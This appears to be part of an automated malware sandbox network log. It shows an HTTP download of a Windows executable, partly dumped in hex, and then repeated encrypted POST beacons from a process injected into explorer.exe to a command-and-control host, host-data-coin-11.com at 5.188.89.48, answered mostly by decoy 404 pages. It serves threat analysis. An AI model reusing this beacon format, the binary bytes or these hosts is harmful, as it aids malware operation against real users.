Dec 28, 2021 05:19:33.737617016 CET	13377	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 04:19:33 GMT Server: Apache/2.4.18 (Ubuntu) Last-Modified: Mon, 27 Dec 2021 19:51:47 GMT ETag: "21af80-5d42608f7478b" Accept-Ranges: bytes Content-Length: 2207616 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4b 95 c0 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 2c 01 00 00 de 03 00 00 00 00 00 00 e0 4b 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 4d 00 00 04 00 00 90 20 22 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 49 00 54 01 00 00 00 80 49 00 9c 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 73 68 61 72 65 64 00 00 60 49 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 70 64 61 74 61 00 00 00 10 00 00 00 70 49 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 9c 54 02 00 00 80 49 00 9c 54 02 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 44 41 54 41 00 00 00 00 00 80 01 00 00 e0 4b 00 47 7d 01 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 29 63 0b 89 02 9e c8 7a 45 47 cb 7a 99 64 7b f0 a6 27 04 76 d5 e2 36 1f 40 27 54 59 3d 06 0d c2 02 87 04 64 a6 a2 0e b2 65 d2 92 7d 55 82 c3 f7 d0 4a e8 a0 f1 03 6c 70 49 00 Data Ascii: MZog':(332fC'B{b+Rd:QPELKa,K@@`M "@pITIT.shared`I`.pdatapI@.rsrcTIT@@DATAKG}\@)czEGzd{'v6@'TY=de}UJlpI
Dec 28, 2021 05:19:33.737659931 CET	13379	IN	Data Raw: 00 00 00 00 00 00 00 00 a4 70 49 00 64 70 49 00 7c 70 49 00 00 00 00 00 00 00 00 00 cb 70 49 00 74 70 49 00 8c 70 49 00 00 00 00 00 00 00 00 00 ee 70 49 00 84 70 49 00 9c 70 49 00 00 00 00 00 00 00 00 00 0f 71 49 00 94 70 49 00 00 00 00 00 00 00 Data Ascii: pIdpI\|pIpItpIpIpIpIpIqIpIpIpIpIpIqIqI!qI!qIkernel32.dll"GetModuleHandleAuser32.dll\DefWindowProcAadvapi32.
Dec 28, 2021 05:19:33.737699032 CET	13380	IN	Data Raw: 5d ff fb 43 47 ff ea 32 42 ff ab 22 44 ff b7 94 a3 ff eb ec ec ff ef ee ef ff e2 e2 e2 df e5 e5 e5 29 f6 f6 f6 0a e8 e8 e8 af f0 f0 f0 ff ff ff ff ff f9 f9 f3 ff cd a8 81 ff c7 68 64 ff da 5b 67 ff d7 3e 4a ff bb 34 3d ff b4 77 82 ff d5 cf d3 ff Data Ascii: ]CG2B"D)hd[g>J4=wQyxyO\|{\|WVWPOPb`beee_^_
Dec 28, 2021 05:19:33.737737894 CET	13381	IN	Data Raw: 1c 1b 1c 00 72 71 72 00 73 72 73 1e 83 82 83 b2 95 95 95 ff b4 b4 b4 ff e3 e3 e3 ff fb fb fb ff ff ff ff ff fe fe fe ff fe fe fe ff fe fe fe ff fe fe fe ff fe fe fe ff fe fe fe ff f5 f4 f5 ff df df df ff ce ce ce ff b7 b7 b7 ff a1 a0 a1 ff 93 93 Data Ascii: rqrsrs=XWX_^_\[\fefpop
Dec 28, 2021 05:19:33.737777948 CET	13383	IN	Data Raw: 44 ff ed 43 40 ff ec 33 3f ff e9 23 42 ff db 24 48 ff b7 23 49 ff 88 22 3f ff c4 a6 ad ff ff ff ff ff fe fe fe ff fe fe fe ff fe fe fe ff fd fd fd ff fc fc fc f9 fc fc fc 62 fc fc fc 00 fd fd fd 00 fd fd fd 58 fd fd fd f7 fe fe fe ff fe fe fe ff Data Ascii: DC@3?#B$H#I"?bX##BNWLNJHEC@=A+H%P&U1VT?I!;
Dec 28, 2021 05:19:33.737818003 CET	13384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 85 84 85 00 76 75 76 00 6e 6d 6e 00 57 57 57 1c 64 63 64 90 76 75 76 ee 8e 8d 8e ff b3 b3 b3 ff d2 d2 d2 ff e7 e6 e7 ff f8 f8 f8 ff fc fc fc ff fe fe fe ff fe fe fe ff fe fe fe ff fd fd fd ff f8 f8 Data Ascii: vuvnmnWWWdcdvuvqpqgfgYXYaaamnmbabrqrUPhhhqpq
Dec 28, 2021 05:19:33.737859964 CET	13385	IN	Data Raw: e9 8c e1 e1 e1 7b d8 d8 d8 61 d0 d0 d0 40 c7 c7 c7 1f bf bf bf 0a fc ff fc 00 ae ae ae 00 65 65 65 12 95 95 95 79 a2 a1 a2 e8 9e 9e 9e ff 98 97 98 ff 93 93 93 f3 8f 8e 8f ad 8c 8b 8c 3d 86 86 86 04 8c 8b 8c 00 83 82 83 00 00 00 00 00 00 00 00 00 Data Ascii: {a@eeey="WW,\|
Dec 28, 2021 05:19:33.737896919 CET	13387	IN	Data Raw: fe fe fe ff fe fe fe ff f5 f5 f5 ff e2 e2 e2 ff d6 d5 d6 ff cd cd cd ff bd bd bd ff ad ac ad ff a0 9f a0 ff 96 96 96 ff 90 8f 90 ff 8d 8c 8d ff 8c 8b 8c ff 8e 8d 8e ff 91 90 91 ff 97 96 97 ff 9c 9b 9c ff a2 a2 a2 ff a9 a9 a9 ff b0 af b0 ff b6 b5 Data Ascii: wfefwvwkjk)srs\|{\|
Dec 28, 2021 05:19:33.737936974 CET	13388	IN	Data Raw: 97 ff be 33 8b ff b7 51 8c ff e0 ca d6 ff e1 e2 e2 ff c7 c6 c7 ff a8 a7 a8 ff 95 94 95 ff 8f 8f 8f ff 94 93 94 ff 9d 9c 9d ff a9 a9 a9 ff b6 b6 b6 ff c4 c4 c4 ff ce ce ce ff d2 d2 d2 ff d6 d5 d6 ff da da da ff dd de dd ff de de de ff d4 d4 d4 ff Data Ascii: 3QNo2Z7h;x=Nrup
Dec 28, 2021 05:19:33.737976074 CET	13390	IN	Data Raw: fc 66 58 ff fb 62 52 ff ea 5a 49 ff d3 55 47 ff d0 5d 54 ff d5 5d 5b ff d5 4c 5b ff d5 45 5b ff d4 46 5c ff cd 45 5b ff c0 45 57 ff ac 43 51 ff 91 3b 45 ff 8d 55 5a ff d4 ca c9 ff f8 fa f9 ff fe fe fe ff fe fe fe ff fe fe fe ff fe fe fe ff fe fe Data Ascii: fXbRZIUG]T][L[E[F\E[EWCQ;EUZG1GLaIWJUHQELDGBB>6>%?"B$G$I#F8
Dec 28, 2021 05:19:33.800960064 CET	13391	IN	Data Raw: 71 ff e7 75 7e ff ed 6e 78 ff f1 61 6a ff f2 55 5d ff f2 4b 53 ff ef 44 4e ff eb 3c 4a ff e0 37 42 ff d1 34 3b ff c0 30 37 ff 9c 22 34 ff 77 17 32 ff 8b 4f 62 ff c1 b4 ba ff c2 c0 c2 ff bf bc bf ff c3 c1 c3 ff cc ca cc ff d5 d4 d5 ff dc db dc ff Data Ascii: qu~nxajU]KSDN<J7B4;07"4w2ObQUR(XNkoq}m{aoVbKXBQ:G5>18-2#0I[

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.3	49837	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:36.893117905 CET	15687	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://igwdjt.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 251 Host: host-data-coin-11.com
Dec 28, 2021 05:19:36.893141031 CET	15687	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de bd 66 5d 02 c9 a1 c1 64 2c b5 98 11 Data Ascii: 7xG5f0@^wmDu$f]d,9W._HcT!`nC>2Yd%QUTChT~?s?8dB.P}}vK8,} Mra(#<umGT$ &j<H;Kb4TU3Cj
Dec 28, 2021 05:19:37.004609108 CET	15688	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.3	49838	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:37.109743118 CET	15689	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xmhrnshbsf.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 119 Host: host-data-coin-11.com
Dec 28, 2021 05:19:37.109759092 CET	15689	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de ba 66 5d 02 c8 a1 c1 64 0f ce cf 2d Data Ascii: 7xG5f0@^wmDu$f]d-={2NRk_B\|%k/
Dec 28, 2021 05:19:37.232554913 CET	15690	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.3	49839	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:37.341648102 CET	15691	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tmtvrgtd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 123 Host: host-data-coin-11.com
Dec 28, 2021 05:19:37.341662884 CET	15691	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bb 66 5d 02 c8 a1 c1 64 43 a3 d5 61 Data Ascii: 7xG5f0@^wmDu$f]dCa_ at\KNO:Qltvo;EwpMw4
Dec 28, 2021 05:19:37.457096100 CET	15692	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	49840	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:37.585829973 CET	15693	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mnjhltsqk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 288 Host: host-data-coin-11.com
Dec 28, 2021 05:19:37.585863113 CET	15693	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de b8 66 5d 02 c8 a1 c1 64 10 99 9b 29 Data Ascii: 7xG5f0@^wmDu$f]d)\srJB<oA1U;O_\|=JIhL{/sNT!``3sIhnRt=_R{L_0ytuzd)&[&q%^mTQ
Dec 28, 2021 05:19:37.710366964 CET	15693	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 45 0c a7 35 f4 eb 66 c1 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevE5fdP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49746	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:40.163245916 CET	1169	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rcrjju.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 217 Host: host-data-coin-11.com
Dec 28, 2021 05:18:40.163275957 CET	1169	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9f 66 5d 02 c8 a1 c1 64 3e a7 bf 60 Data Ascii: 7xG5f0@^wmDu$f]d>`]2xFL]CzDP7r3b]ZOI#.l@=fJ(:Y/I";5qk4a]#lrYgbF@=~S!MU/M_
Dec 28, 2021 05:18:40.273197889 CET	1170	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.3	49842	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:40.682996035 CET	16238	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://npiwsugx.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 154 Host: host-data-coin-11.com
Dec 28, 2021 05:19:40.683301926 CET	16238	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de b8 66 5d 02 c9 a1 c1 64 0f c9 b4 2c Data Ascii: 7xG5f0@^wmDu$f]d,,}n~F))=c~zANi-=YWy?>7r8\|Ufn+I
Dec 28, 2021 05:19:40.800750017 CET	16240	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 